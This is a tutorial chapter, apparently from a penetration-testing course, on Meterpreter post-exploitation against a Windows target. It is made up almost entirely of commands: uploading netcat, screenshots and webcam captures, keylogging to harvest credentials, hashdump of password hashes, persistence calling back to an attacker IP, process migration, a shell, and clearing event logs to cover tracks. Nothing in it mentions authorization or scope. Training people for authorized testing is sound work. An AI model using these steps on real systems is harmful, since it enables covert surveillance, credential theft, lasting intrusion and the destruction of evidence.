Chapter 13: **Post Exploitation 1**

1. Opening a Meterpreter Session

Once you've successfully exploited a system, you need to interact with the **Meterpreter session** to perform post-exploitation tasks.

- **List all active sessions**:

```
msf > sessions -l
```

- **Do you see a session with your target?**
  Find your Windows target and interact with the session.
- **Start interacting with your session** (if targeting Windows XP, for example):

```
msf > sessions -i 1
```

---

2. Gathering System Information

Once inside the Meterpreter session, you can gather key information about the target system.

- **Get system details** (OS, architecture, etc.):

```
meterpreter > sysinfo
```

  This command will display information like the OS version, architecture (x86 or x64), and the hostname of the victim machine.

---

3. Identifying Current User

It’s important to know under which user context you are running the Meterpreter session.

- **Get the current user running Meterpreter**:

```
meterpreter > getuid
```

  This will tell you the username of the account that the Meterpreter session is running under (e.g., SYSTEM, Administrator, etc.).

□ 4. File System Navigation and File Transfer

You can upload or download files between your Kali system and the victim machine.

- **Navigate to the target system's directory**:

```
meterpreter > pwd           # Print working directory
meterpreter > ls            # List files
meterpreter > cd <dir>      # Change directory
```

- **Upload a file to the target machine**:
  For example, you can upload a tool like Netcat (`nc.exe`):

```
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\
```

- **To get help on the `upload` command**:

```
meterpreter > help upload
```

  This command will show you more details on how to use `upload` to transfer files to the victim machine.

```
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\
```

□ 5. Capture Screenshots and Webcam Images

You can use Meterpreter to spy on the target system visually by taking screenshots or using the webcam.

- **Take a screenshot of the target machine**:

```
meterpreter > screenshot
```

- **List available webcams**:

```
meterpreter > webcam_list
```

- **Capture an image from the webcam**:

```
meterpreter > webcam_snap
```

□ 6. Network Information

You may need to gather network-related information such as IP configuration and network routes.

- **Show IP configuration** (like IP address, subnet mask, and gateway):

```
meterpreter > ipconfig
```

- **View routing table** (network routes):

```
meterpreter > route
```

□ 7. Keylogging

A keylogger can capture all keystrokes on the target machine, which is useful for harvesting credentials.

- **Start keylogging**:

```
meterpreter > keyscan_start
```

- **View captured keystrokes**:

```
meterpreter > keyscan_dump
```

- **Stop keylogging**:

```
meterpreter > keyscan_stop
```

Chapter 13: **Post Exploitation 1**

□ 8. Dump Password Hashes

If you've gained SYSTEM privileges, you can dump password hashes from the target system, which can be cracked offline.

```
meterpreter > hashdump
```

□ 9. Establish Persistence

You can create persistence to ensure access to the target system even after a reboot.

```
meterpreter > run persistence -U -i 5 -p 4444 -r <attacker_IP>
```

- `-U`: Set up persistence for user logons.
- `-i 5`: Retry every 5 seconds if connection fails.
- `-p`: Listening port on the attacker machine.
- `-r`: Remote attacker IP address.

□ 10. Migrate to a Stable Process

If the current Meterpreter session is running in a volatile process, you may want to migrate to a more stable one to avoid being killed.

- **List processes running on the target machine**:

  ```
  meterpreter > ps
  ```

- **Migrate to a more stable process (e.g., explorer.exe)**:

  ```
  meterpreter > migrate <pid>
  ```

□ 11. Execute Commands on the Target

You can run system commands directly on the target machine.

- **Drop into a system shell** to run native system commands (Windows or Linux):

```
meterpreter > shell
```

□ 12. Clear Event Logs

To cover your tracks, you can clear Windows Event Logs from the target system.

```
meterpreter > clearev
```

- Clears logs from the Event Viewer (Application, System, and Security logs).